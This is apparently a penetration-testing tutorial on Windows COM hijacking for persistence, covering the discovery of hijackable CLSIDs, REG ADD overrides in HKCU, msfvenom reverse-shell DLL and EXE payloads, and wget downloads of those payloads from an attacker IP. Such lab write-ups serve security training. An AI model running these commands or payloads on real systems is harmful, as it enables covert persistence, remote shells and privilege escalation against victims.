According to MITRE, “Adversaries can use the COM system to insert malicious code that executes in place of legitimate software by hijacking COM references and relationships as a means for persistence.” To hijack a COM object, an attacker must modify certain registry hives and replace the reference to a legitimate system component with a malicious one. When the application runs and calls the COM object, the malware executes instead, thereby achieving persistence.

In this article, we will cover the methodology for COM hijacking.

• MITRE TACTIC: Persistence (TA0003), Privilege Escalation (TA0004)
• MITRE TECHNIQUE ID: T1546 (Event Triggered Execution)
• SUBTITLE: T1546.015

 Table of Content

• Background
• Attack Methodology
• Discover Hijackable Keys
• InProcServer32: CacheTask (Physical Access to Machine)
• InProcServer32: CacheTask (Remote Access to Machine)
• InProcServer32: Internet Explorer (Remote Access)
• LocalServer32: Remote Access to Machine
• Conclusion

Background

According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundational technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), and other technologies.”

Importantly, COM is not a programming language but a standard that applies only to binary code. Programming languages like C++ provide simple mechanisms to interact with COM objects, while C and Java also implement COM.

A COM object is one in which access to the object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions within an interface are referred to as methods. Additionally, COM requires that access to an interface’s methods can only be gained through a pointer to the interface. In short, COM enables a binary to interact with other software objects or executables by implementing objects that call DLLs and EXEs.

Furthermore, DCOM (Distributed COM) extends COM’s functionality beyond a local computer using remote procedure call (RPC) technology. By default, only Administrators can remotely activate and launch COM objects via DCOM. DCOM can execute macros in Office documents and interact with WMI remotely, thus opening the attacked domain to various attack vectors.

Please note that this attack applies to a domain-joined system. DCOM remoting is not enabled across networks by default. To enable DCOM remoting in a non-domain-joined system, additional code is required, which falls outside the scope of this article.

Registries:

The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.

CLSID:

The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly Windows, to detect and access software components without identifying them by their names. More info here.

Attack Methodology

Basically, any application which is triggering an EXE/DLL or some other library first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).

To perform the attack, we have to follow these steps:

• Find hijackable keys in the registry. COM servers that have missing CLSIDs and don’t require elevated privileges (belonging to the HKEY_CURRENT_USER category)
• Add a corresponding CLSID and strings referring to the application that had missing CLSIDs
• Create a malicious file
• Prompt the user to run the application which is supposed to trigger the COM event and run a malicious file.

Discover Hijackable Keys

Part 1

To discover hijackable keys, we would require a process monitor. We need to put these 4 filters:

• Operation is RegOpenKey Include

• Result is NAME NOT FOUND Include

• Path ends with InprocServer32/LocalServer32 Include

• Path begins with HKLM Exclude

Now you’d have an output of all the probably hijackable keys.

We can export this result and save it as “Logfile.CSV”. nccgroup developed a script called acCOMplice which can take in this CSV as input and give out all the keys that can be hijacked. Here, we are viewing InprocServer32 hijackable keys. We can download and use it like:

Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSV

Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.

These are all the DLLs that are missing from the disk. So, if we just upload our malicious DLL onto one of these paths and rename it as the DLL mentioned.

Part 2

Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

The script also has a great added module that can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence to the system.

Get-ScheduledTaskComHandler -PersistenceLocations

Let’s pick a task called cache task which uses wininet.dll upon first time logon.

By default, all the tasks are configured in the folder %sysroot%\Tasks. The configuration file of this task is available at the location:

C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask which can be read using schtasks

schtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”

Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dll

Now that we have identified a target, let’s use this COM object to conduct hijacking.

InProcServer32: CacheTask (Physical Access to Machine)

InProcServer32: InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.

In the enumeration above, we found out a COM object is vulnerable to hijacking. This registry exists in HKLM. As per the methodology, we need to create this same CLSID in HKCU (HKEY_CURRENT_USER) hive.

So, we open the registry hive and create this key

HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\

Then we create one other key named:

{0358b920-0ac7-461f-98f4-58e32cd89148}

Again, right-click on this key and add a new subkey:

InProcServer32

Then under this, we create two strings, one with value: C:\users\Public\shell.dll and the other with the name “ThreadingModel” and value “Both”

Now, the path we just added doesn’t contain shell.dll. This is the code that will be executed when the user logs in. Let’s create a msfvenom DLL shell and upload it onto the victim system.

msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dll

Now, upon restart and first logon by the user, we will receive a reverse shell like so:

InProcServer32: CacheTask (Remote Access to Machine)

What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided by bohops.com found here. To find COM keys vulnerable to hijacking which include InProcServer32 keys we do:

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}

Similarly, these results can be stored in a text file using the code:

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$inproc | ForEach {$_.InprocServer32} > ignite.txt

In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dll

Upon searching wininet.dll in this text file, we see that it exists

So, we can view CacheTask’s configuration file like so:

cd C:\Windows\System32\Tasks\Microsoft\Windows\Wininet
type CacheTask

Now, we have obtained a CLSID. This exists in the HKLM hive. We need to create this in HKCU which can be done using the “reg add” command. And then, we can confirm if it got added using the reg query. Finally, to check if it works, we can restart it and wait for a user to logon

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /v ThreadingModel /d Both
REG QUERY HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
shutdown -r

Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.

InProcServer32: Internet Explorer (Remote Access)

GDATA provided this method of persistence in a post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: api-ms-win-downlevel-1×64-l1-1-0._dl

IE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

This DLL doesn’t exist by default in the system, so, to do COM hijacking, we will create the following folder and add this DLL here.

C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

Now, to execute this attack, we need to override the IE CLSID by referring to that CLSID in HKCU hive as we did in the example above.

First, let’s create a new malicious DLL file and name it “api-ms-win-downlevel-1×64-l1-1-0._dl”

Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

cd c:\users\harshit\appdata\roaming\microsoft
mkdir installer
cd installer
mkdir {BCDE0395-E52F-467C-8E3D-C4579291692E}
cd {BCDE0395-E52F-467C-8E3D-C4579291692E}
powershell wget 192.168.1.4/ api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dl

Now, we will add the IE CLSID reference in HKCU.

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /v ThreadingModel /d Apartment

Finally, once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!

LocalServer32: Remote Access to Machine

Specifically, the LocalServer32 key represents a path to an executable (EXE) implementation of a process. This means that when an application runs, it refers to the COM keys and executes the corresponding EXE file.

To find all the hijackable localserver32 COM keys, the following procmon filters can be used:

• Operation is RegOpenKey Include
• Result is NAME NOT FOUND Include
• Path ends with LocalServer32 Include
• Path begins with HKLM Exclude

However, since we are using the remote machine, the following code can help identify exploitable keys. The output lists all files that have an empty reference to a file that doesn’t exist on the drive. As shown, an interesting file named igniteserver.exe appears, which points to a World writable directory (/Users/Public). This means an attacker can place a malicious file in that directory with the same name, igniteserver.exe.

$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > ignite.txt
type ignite.txt

We can manually inspect other files too to see which files are vulnerable to COM hijacking and use SMB to copy malicious files with the same names on the directories.

Demonstrating Remote COM Hijacking for Persistence and Privilege Escalation

Now, we need to obtain the CLSID of this exe. This can be obtained using the reg query command:

reg query HKEY_CLASSES_ROOT\CLSID /s /f igniteserver

We have obtained the CLSID reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8. This can be confirmed in regedit.

Now, we need to create an EXE with name igniteserver.exe

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe > igniteserver.exe

Now we need to transfer it to the desired location (C:\Users\Public)

wget 192.168.1.4/igniteserver.exe -O igniteserver.ex

Whenever an application will activate the COM object using this command, we will get persistence. If the application is run as admin we might escalate our privileges as well!

Now, the application which activates this COM object is using the create instance command in the respective programming language. We are just simulating the same using Powershell like so:

[activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))

As soon as the application creates this instance and runs the COM key reference, we get our reverse shell!

Conclusion

Firstly, in the article, we demonstrated how we can use hijackable COM keys (that miss references to libraries) to gain persistence. We explored two methods: InProcServer32 and LocalServer32, which applications use to run libraries in a process. Since these libraries execute automatically, replacing them with our malicious file means our code runs automatically as soon as the related application starts. In the InProcServer32 method, we create another reference to the same COM key in HKCU to override the one in HKLM. Conversely, in the LocalServer32 method, we replace an EXE reference with our malicious one. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here